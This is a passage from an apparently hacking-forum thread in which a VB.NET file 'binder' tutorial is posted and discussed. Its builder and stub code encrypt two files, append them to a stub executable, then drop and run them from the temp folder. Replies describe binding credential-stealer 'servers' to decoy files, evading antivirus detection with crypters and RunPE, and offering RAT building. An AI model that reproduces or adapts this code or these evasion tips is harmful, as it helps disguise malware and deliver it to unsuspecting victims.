     .Filter = "All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose a file..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     TextBox2.Text = .FileName
     F2 = .SafeFileName
     End If
   End With
     End Sub
 
     Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button4.Click
   Try
     Dim S As New SaveFileDialog
     With S
     .FileName = "*.exe"
     .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
     .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
     .Title = "Choose an output directory..."
     If .ShowDialog = Windows.Forms.DialogResult.OK Then
     Dim Sp As String = "[Splitter]"
     Dim Buffer As Byte() = My.Resources.Stub
     My.Computer.FileSystem.WriteAllBytes(.FileName, Buffer, False)
 
     Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
     Dim File2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
     IO.File.AppendAllText(.FileName, Sp & Convert.ToBase64String(File1) & Sp & F & Sp &
Convert.ToBase64String(File2) & Sp & F2)
     MsgBox("Successfullly Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
     End If
     End With



   Catch ex As Exception
     MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly,
"Error")
   End Try
 
     End Sub
 End Class
 
 
 Stub Code:
 Spoiler (Click to View)
 Public Class Form1
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
     Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
     Catch ex As Exception
     Process.GetCurrentProcess.Kill()
     End Try
     Process.GetCurrentProcess.Kill()
   End Using
     End Function
 End Class
 

[Eprouvez] - August 5, 2010, 12:58 am 

 Those warnings don't matter, they shouldn't show as those variables ARE used.

versx - August 5, 2010, 1:02 am 
 (Aug 5, 2010 12:58 AM)[Eprouvez] Wrote: [CITE] Those warnings don't matter, they shouldn't show
as those variables ARE used.
 Well, is the source I posted right?

[Eprouvez] - August 5, 2010, 1:38 am 
 (Aug 5, 2010 01:02 AM)shitshit Wrote: [CITE] Well, is the source I posted right?
 Yes. You have every line correct.

versx - August 5, 2010, 2:35 am 
 (Aug 5, 2010 01:38 AM)[Eprouvez] Wrote: [CITE] Yes. You have every line correct.:S What do you
think it is then lol? I just tried with 2 .exe's, didn't open both, just the new binded .exe but only shows
it in the task manager. Also tried it with 2 .jpg's, 2 .mp3's, and also a .exe + .jpg. Same results with
all...nothing. I haven't found a binder that works yet, and I've used a lot of them. =[
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  EDIT Well I got easy binder to work finally, I kept packing the server instead of selecting none >_>

[Eprouvez] - August 6, 2010, 12:39 am 
 (Aug 5, 2010 02:35 AM)shitshit Wrote: [CITE] :S What do you think it is then lol? I just tried with 2
.exe's, didn't open both, just the new binded .exe but only shows it in the task manager. Also tried it
with 2 .jpg's, 2 .mp3's, and also a .exe + .jpg. Same results with all...nothing. I haven't found a binder
that works yet, and I've used a lot of them. =[
  EDIT Well I got easy binder to work finally, I kept packing the server instead of selecting none >_>
 Haha sweet as. Too short.

vertigo_789 - August 10, 2010, 12:46 am 
i dnt knw VBnet...can i create it in c or c++

[Eprouvez] - August 10, 2010, 3:00 am 
 (Aug 10, 2010 12:46 AM)vertigo_789 Wrote: [CITE] i dnt knw VBnet...can i create it in c or c++
 Sure can, just follow the tutorial and copy all the code from like page 14 and convert it using the
online converter.

Dragoneon - August 28, 2010, 9:28 pm 
am i the only one getting the error?
 [img]http://img408.imageshack.us/img408/9113/97688597.jpg[/img]

sumit8510 - August 28, 2010, 9:33 pm 
Thank you so much bro.
 It's too good.

[Eprouvez] - August 28, 2010, 11:02 pm 
 (Aug 28, 2010 09:28 PM)Dragoneon Wrote: [CITE] am i the only one getting the error?
 [img]http://img408.imageshack.us/img408/9113/97688597.jpg[/img]
 You haven't read the tutorial properly, you need to add the other half of the code to it.

Dragoneon - August 28, 2010, 11:55 pm 
 (Aug 28, 2010 11:02 PM)[Eprouvez] Wrote: [CITE] You haven't read the tutorial properly, you need to
add the other half of the code to it.Thanx i fixed it
 Good job man =)

[Eprouvez] - August 30, 2010, 12:42 am 
 (Aug 28, 2010 11:55 PM)Dragoneon Wrote: [CITE] Thanx i fixed it
 Good job man =)
 No problem bro. {Too Short}

skatomagia - September 8, 2010, 4:22 pm 
this is scantime or runtime binder?

sforzando - September 9, 2010, 9:51 pm 
My server, binder, stub, and fake file are all FUD, but when I bind my fake program to my server, the
binded file ends up getting 2/16, one from Avira and the other from BitDefender.  My binder and stub
have the same source code from this tutorial.  I've tried changing the icon of the stub and adding
random strings to its assembly via Reshacker, but the bound file is still 2/16.  I'm thinking of using
dsplit+hexing, but do you think there is another approach?

sforzando - September 10, 2010, 3:03 am 
Nevermind, i got it.. Darkseven's FUD guide rocks, and so does your tutorial.  Thanks a bunch :D  
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edit sorry I should have simply edited my previous post. I'm new forgive me

97Zero_CooL97 - September 10, 2010, 4:16 am 
Nice tutorial Good job buddy.

? Lollipop ? - September 29, 2010, 9:17 am 
man i have to admit that this is kinda hard to follow >.< can you tell me what to do with Code Sp &
Convert.ToBase64String(File1) & Sp & F & Sp & Convert.ToBase64String(File2) & Sp & F2?

U²D - September 30, 2010, 10:52 am 
Great tutorial, but i have 2 on 16 on my binder can help ?

xartermate - October 1, 2010, 2:04 pm 
awesome share its a shame that i cannot rep you +++ ?
 
 one more binder for me. now i am more into it, i and my nod eset didnt said nothing but i have to
wait a few minutes to know if its corrupted or fud .???
 
 anyway works awesome in vb apps bind it good.
 
 1000´s reps bro always on looking yours tuts and nathans and a few ones more 
 
 hf you rock ?
 
 rep to the masters!!!
 
  (Aug 3, 2010 06:49 PM)versx Wrote: [CITE] I tried to bind 2 pictures together, I opened up the
executable file after I binded them together, but they don't pop up and open. It only shows it running
in the task manager =[
 
 I must just have bad luck with binders and crypters, they always either corrupt the file or it doesn't
work.
 i am on the same thought as you.... 
 
 but probably if we learn more of coding i am sure that this is possible. 
 
 i all binders that iiv done on tuts only got them binding vb applications wen you put someting
external to vb it gets corrupt..
 
 but if you all masters gives us a good handy sure that we will learn lots more from your awesome
tuts.
 be brave be safe and xeers to hf and boss members
 
 writing back just to say thankx ...!! ???
 
 i got crypter fud!!!! ? 
 didnt corrupt server and work well on infection very nice.!!!!
 i will keep this on my best shelf. he he he you v done it guys.
 one more for the road. i love vb. 
 
 about the runpe i have tryed in some crypters but never got it fud or working.
 Can you teach me how to put runpe on crypter and and to put more encryption on the crypter ? .. 
like you have on tut i know that some encryptions are good for trojans others for keylogguers but i
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would like to get that any tip sr.  
 
 i am amazed !! ?? now we are getting there !!

Tristani - October 6, 2010, 6:48 pm 
OMG Thanks for the amazing tut! It actually worked!

guard - October 6, 2010, 7:03 pm 
Great share, i'd like to take a deeper look into but I am on my phone at the moment.

[Eprouvez] - October 7, 2010, 2:13 am 
Thanks for the feedback guys, good to hear.
 
  (Sep 29, 2010 09:17 AM)Pedo Bear Wrote: [CITE] man i have to admit that this is kinda hard to
follow >.< can you tell me what to do with Code Sp & Convert.ToBase64String(File1) & Sp & F & Sp
& Convert.ToBase64String(File2) & Sp & F2?
 Sorry, that code there is the data we write to our Stub. So the line where it says
'IO.File.AppendAllText(.FileName, Sp & Convert.ToBase64String(File1) & Sp & F & Sp &
Convert.ToBase64String(File2) & Sp & F2)' is the data being written.

punish3r - October 7, 2010, 4:42 am 
Thanks For the share ?

avivagoeng - October 7, 2010, 9:19 pm 
This is very beautiful?

Toxic Waste - October 17, 2010, 4:42 am 
Loved every second of it, thanks for sharing

Malmoc - October 17, 2010, 6:27 am 
Really well made... Thank you for suck a great tut!!!

Emperor! - October 17, 2010, 6:49 am 
Thanks :)
 Don't you hate it when the message is to short!

helldemon - October 17, 2010, 10:29 am 
Can someone post the source for the stub? I cant seem to get it right. Thanks great tut. -BUMP-

[Eprouvez] - October 17, 2010, 10:00 pm 
Code Public Class Form1
     Function Unsecure(ByVal data As Byte()) As Byte()
   Using SA As New System.Security.Cryptography.RijndaelManaged
     SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
     SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
     Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
   End Using
     End Function
     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
     Try
     Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
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     Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
     Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
     Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
     My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
     Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
   Catch ex As Exception
     Process.GetCurrentProcess.Kill()
   End Try
   Process.GetCurrentProcess.Kill()
 End Sub
 End Class

KINGz - October 28, 2010, 2:15 pm 
thanks alot man keep them coming

GodWall - November 9, 2010, 6:54 pm 
very nice work, glad you made this, thanks :)

[Eprouvez] - November 10, 2010, 3:45 am 
Ty will update soon with a CodeDom binder source.

xartermate - November 10, 2010, 5:13 am 
that wold be super!!! 
 i love your tuts.
 
 nice emprouvez!!!
 i am reading a lot about codedom and seems one of the greatest encrypting method but i see so
much things from codedom that i am a bit confused.
 
 bring that tut and sure i will get in to it, you are a awesome coder and you explain things very well. 
 
 i am on runpe now i coded a crypter from your binder with runpe but still didnt test to see if it got
runtime now.... 
 i get 1/16 from the crypter exe and 3/16 from the server crypted.
 
 a-squared	10/11/2010	5.0.0.20	Virus.Win32.BeeInject!IK
 
 Avira AntiVir	10/11/2010	7.6.0.59	TR/Dropper.Gen
 
 ikarus T3	10/11/2010	1001084	Virus.Win32.BeeInject
 
 first time that i try runtime and someting is changed on way of detection gets beeinject. :) 
 do you think its now runtime boss? 
 thankx for all. 
 and get that codedom tut worked soon !!! ;)

[Eprouvez] - November 11, 2010, 1:18 am 
 (Nov 10, 2010 06:13 AM)xartermate Wrote: [CITE] that wold be super!!! 
 i love your tuts.
 
 nice emprouvez!!!
 i am reading a lot about codedom and seems one of the greatest encrypting method but i see so
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much things from codedom that i am a bit confused.
 
 bring that tut and sure i will get in to it, you are a awesome coder and you explain things very well. 
 
 i am on runpe now i coded a crypter from your binder with runpe but still didnt test to see if it got
runtime now.... 
 i get 1/16 from the crypter exe and 3/16 from the server crypted.
 
 a-squared	10/11/2010	5.0.0.20	Virus.Win32.BeeInject!IK
 
 Avira AntiVir	10/11/2010	7.6.0.59	TR/Dropper.Gen
 
 ikarus T3	10/11/2010	1001084	Virus.Win32.BeeInject
 
 first time that i try runtime and someting is changed on way of detection gets beeinject. :) 
 do you think its now runtime boss? 
 thankx for all. 
 and get that codedom tut worked soon !!! ;)
 The detection could be from your run time, but I could be wrong :P

Gabe.Exe - November 11, 2010, 3:06 am 
I really hope this still works. I'll try it out.

xartermate - November 11, 2010, 4:46 am 
i tryed to infect me but avast catch the dll wen the server starts.
 ya it makes a dll and try to run but is catched. 
 
 do you have any clue on this ? 
 because this is realy near of runtime makes the anty think a bit and only stops the virus at last part
all others scantime that i have the anty catchs instantly with this he thinks a bit.
 gosh i want this so much.

Legjendat - November 13, 2010, 10:19 am 
hmm, binded successfully but output file won't do anything when I open it. any ideas or is it because
you said source is incomplete?
 
 EDIT: got it to work now, i recopy-pasted the encryption numbers or whatever they were and it
worked fine with my istealer server.
 
 EDIT again: lol, nod32 won't detect it in scantime, but will do so in runtime(the istealerserver in tmp
location), does this binder do any crypt to the binded files or not?

[Eprouvez] - November 13, 2010, 2:35 pm 
 (Nov 13, 2010 11:19 AM)Legjendat Wrote: [CITE] hmm, binded successfully but output file won't do
anything when I open it. any ideas or is it because you said source is incomplete?
 
 EDIT: got it to work now, i recopy-pasted the encryption numbers or whatever they were and it
worked fine with my istealer server.
 
 EDIT again: lol, nod32 won't detect it in scantime, but will do so in runtime(the istealerserver in tmp
location), does this binder do any crypt to the binded files or not?
 Lol, it encrypts it, but it decrypts before it is written to the hard-drive, so it could be potentially
detected.
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phoobos - November 18, 2010, 9:13 am 
Thanks for the share. I appreciate it

Petros - January 3, 2011, 5:13 am 
retarded tutorial fucker ass bitch go and die

TLF-KoBE - January 11, 2011, 11:59 am 
Even tho this isn't FUD anymore, I would highly recommend anyone that actually wants to LEARN
how to program a binder, that they read this. Good stuff.

DarkKoopa - January 14, 2011, 1:43 pm 
Yeah it's really a good example how you could start with a crypter. You also see the structure of
crypter and a stub + there's enough room left to modify, expand and ad new functions to it. Nice job
;D
 
 EDIT: Oh, and one question: For what's the [Splitter] exactly? I've seen it in many tutorials but I
don't know what the string should make exactly :/

Usio - January 16, 2011, 5:20 am 
Very useful tut! Thanks.
 
 Too short.

hid3 - January 16, 2011, 6:10 am 
Nice and thanks Mate ilike this

Odd Future - January 16, 2011, 9:17 am 
May I receive the source code?

Dani Corpse - May 24, 2011, 12:13 pm 
I'm getting an error 'Stub' is a type in 'resources' and cannot be used as an expression, any ideas?
Nice tutorial by the way.

Exodus-:) - May 28, 2011, 3:53 am 
OMG! This tutorial is awesome man, Em gonna us this one to make a binder :D
 Thnx

FUCKADMIN1 - June 7, 2011, 9:44 am 
thanks for that nice tutorial amazing my life is?

zymeth_19 - June 8, 2011, 10:30 am 
thanks for the tutorial ...?

mohit - August 4, 2011, 11:07 am 
great tut, thanks buddy, very well explained ?

Flu???™ - January 2, 2012, 9:35 am 
Thanks it works mother fucking great except for last mother fucking part- is it the "Separate" button?
Cuz I can't mother fucking separate shit. It doesn't mother fucking work. Except for that mother
fucking problem it's great.

jessman420 - January 3, 2012, 10:15 am 
This is an excellent tutorial, I look forward to trying it.



DarkVergilDante - February 26, 2012, 8:05 am 
i wanted to start programming in vb.net to make binders and there you go with this awesome guide!
thanks a lot my friend!

namoney - February 26, 2012, 8:41 am 
Nice and helpful tutorial, thank you 

Uiqueblhats - March 22, 2012, 6:18 am 
thanks for sharing. 
 i am going to have a look afterwards

assassin_D - March 22, 2012, 7:56 am 
Christ, what a old thread!
 
 TOOSHOORRTTTTRTTTIH8IDGHGETG

[Eprouvez] - March 22, 2012, 6:47 pm 
Very old thread haha maybe it's time for an update!

M0D3M - March 22, 2012, 6:54 pm 
This is an excellent tutorial. I am also glad that people are starting to realize that FilePut is not the
best way to go.

tikang - August 22, 2012, 12:34 am 
Thank you for sharing this nice tutorial !

rasplatin - August 31, 2012, 8:09 am 
Thanks for sharing. Will use this, too.

boro05 - September 10, 2012, 11:24 pm 
NIce tutorial thanks for sharing in starting to compile right noe

AimBRoT - November 24, 2014, 8:17 am 
Nice tutorial ... thanks for sharing it :)
 
 <This shit is to short>

samo dz - December 14, 2014, 1:05 pm 
hey i am simple coded vb.net contact me:for RAT BUILDING
 skyp:cobraxXx

 


